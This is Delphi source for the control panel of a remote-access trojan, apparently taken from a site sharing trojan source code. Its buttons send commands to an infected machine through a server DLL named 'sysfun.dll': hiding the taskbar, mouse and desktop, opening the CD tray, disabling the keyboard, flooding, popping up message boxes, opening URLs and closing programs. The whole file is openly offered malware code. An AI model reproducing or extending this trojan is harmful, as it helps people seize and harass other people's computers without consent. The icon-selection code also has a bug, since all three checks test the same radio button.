unit1.pas

New tj source www.opensc.ws - trojan source codes.

unit Unit1;

interface

uses
  Windows, Messages, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, ImgList, ComCtrls,
  ExtCtrls;

type
iReplace = procedure (Text: PChar);
  TForm1 = class(TForm)
    ImageList1: TImageList;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    Label2: TLabel;
    Button2: TButton;
    Button3: TButton;
    Label3: TLabel;
    Button6: TButton;
    Button7: TButton;
    Label4: TLabel;
    Button8: TButton;
    Button9: TButton;
    Label1: TLabel;
    Button4: TButton;
    Button5: TButton;
    Label5: TLabel;
    Button10: TButton;
    Button11: TButton;
    Memo3: TMemo;
    TabSheet2: TTabSheet;
    Edit1: TEdit;
    Label6: TLabel;
    Button1: TButton;
    TabSheet3: TTabSheet;
    Edit2: TEdit;
    Button12: TButton;
    Label7: TLabel;
    Button13: TButton;
    Button14: TButton;
    Label8: TLabel;
    Label10: TLabel;
    TabSheet4: TTabSheet;
    Edit3: TEdit;
    Label11: TLabel;
    Edit4: TEdit;
    Label12: TLabel;
    Label13: TLabel;
    Button16: TButton;
    RadioGroup1: TRadioGroup;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    RadioButton3: TRadioButton;
    Edit5: TEdit;
    Label9: TLabel;
    Button15: TButton;
    Label14: TLabel;
    Button17: TButton;
    Edit6: TEdit;

    function getvalues(text:string;vn:integer):string;
    procedure process(cmd:string);
    procedure send_cmd(cmd:string);
    procedure Button1Click(Sender: TObject);
    procedure getowner(owner:integer);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button8Click(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    procedure Button11Click(Sender: TObject);
    procedure Button13Click(Sender: TObject);
    procedure Button14Click(Sender: TObject);
    procedure Button16Click(Sender: TObject);
    procedure Button12Click(Sender: TObject);
    procedure Button15Click(Sender: TObject);
    procedure Button17Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  ownerapp:integer;

const
serverdllname='sysfun.dll';

implementation

{$R *.dfm}


procedure tform1.getowner(owner:integer);
begin
ownerapp:=owner;
end;


procedure TForm1.FormCreate(Sender: TObject);
begin

{ SetWindowPos(Handle, // handle to window
               HWND_TOPMOST, // placement-order handle
               Left,  // horizontal position
               Top,   // vertical position
               Width,
               Height,
               // window-positioning options
               SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE);}
end;


function TForm1.getvalues(text:string;vn:integer):string;
var i:integer;value:string;
begin
// value1,value2,value3,value4
if text=''then exit;
i:=0;
while i<vn do begin
value:=copy(text,0,Pos(',',text)-1);
//deletes first postition ','
Delete(text,1,pos(',',text));
inc(i,1);
result :=value;
end;
end;

procedure TForm1.process(cmd:string);
begin
if  getvalues(cmd,1)='reply' then begin memo3.Lines.Add('> '+getvalues(cmd,2)); end;
end;

procedure TForm1.send_cmd(cmd:string);
begin
//here you tell the client what to send to server:
iReplace(GetProcAddress(OwnerApp, 'ReplaceText'))(pchar(serverdllname+';'+cmd));
end;

//=====================COMMANDS=====================

procedure TForm1.Button1Click(Sender: TObject);
begin
send_cmd('url,'+edit1.Text+',');
end;


procedure TForm1.Button2Click(Sender: TObject);
begin
send_cmd('hide,');
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
send_cmd('show,');
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
send_cmd('Mhide,');
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
send_cmd('Mshow,');
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
send_cmd('dhide,');
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
send_cmd('dshow,');
end;

procedure TForm1.Button8Click(Sender: TObject);
begin
send_cmd('shide,');
end;

procedure TForm1.Button9Click(Sender: TObject);
begin
send_cmd('sshow,');
end;



procedure TForm1.Button10Click(Sender: TObject);
begin
send_cmd('cd_open,');

end;

procedure TForm1.Button11Click(Sender: TObject);
begin
send_cmd('cd_dicht,');
end;

procedure TForm1.Button13Click(Sender: TObject);
begin
send_cmd('dis_k,');
end;

procedure TForm1.Button14Click(Sender: TObject);
begin
send_cmd('an_k,');
end;

procedure TForm1.Button16Click(Sender: TObject);
begin
send_cmd('flood,'+Edit5.Text+',');
end;

procedure TForm1.Button12Click(Sender: TObject);
begin
send_cmd('set,'+Edit2.Text+',');
end;

procedure TForm1.Button15Click(Sender: TObject);
var
icon:string;
begin
if  RadioButton1.Checked= true then icon :=  '1';
if  RadioButton1.Checked= true then icon :=  '2';
if  RadioButton1.Checked= true then icon :=  '3';
send_cmd('msgbox,'+Edit3.text+','+Edit4.text+','+icon+',');

end;

procedure TForm1.Button17Click(Sender: TObject);
begin
send_cmd('close,'+Edit6.Text+',');
end;

end.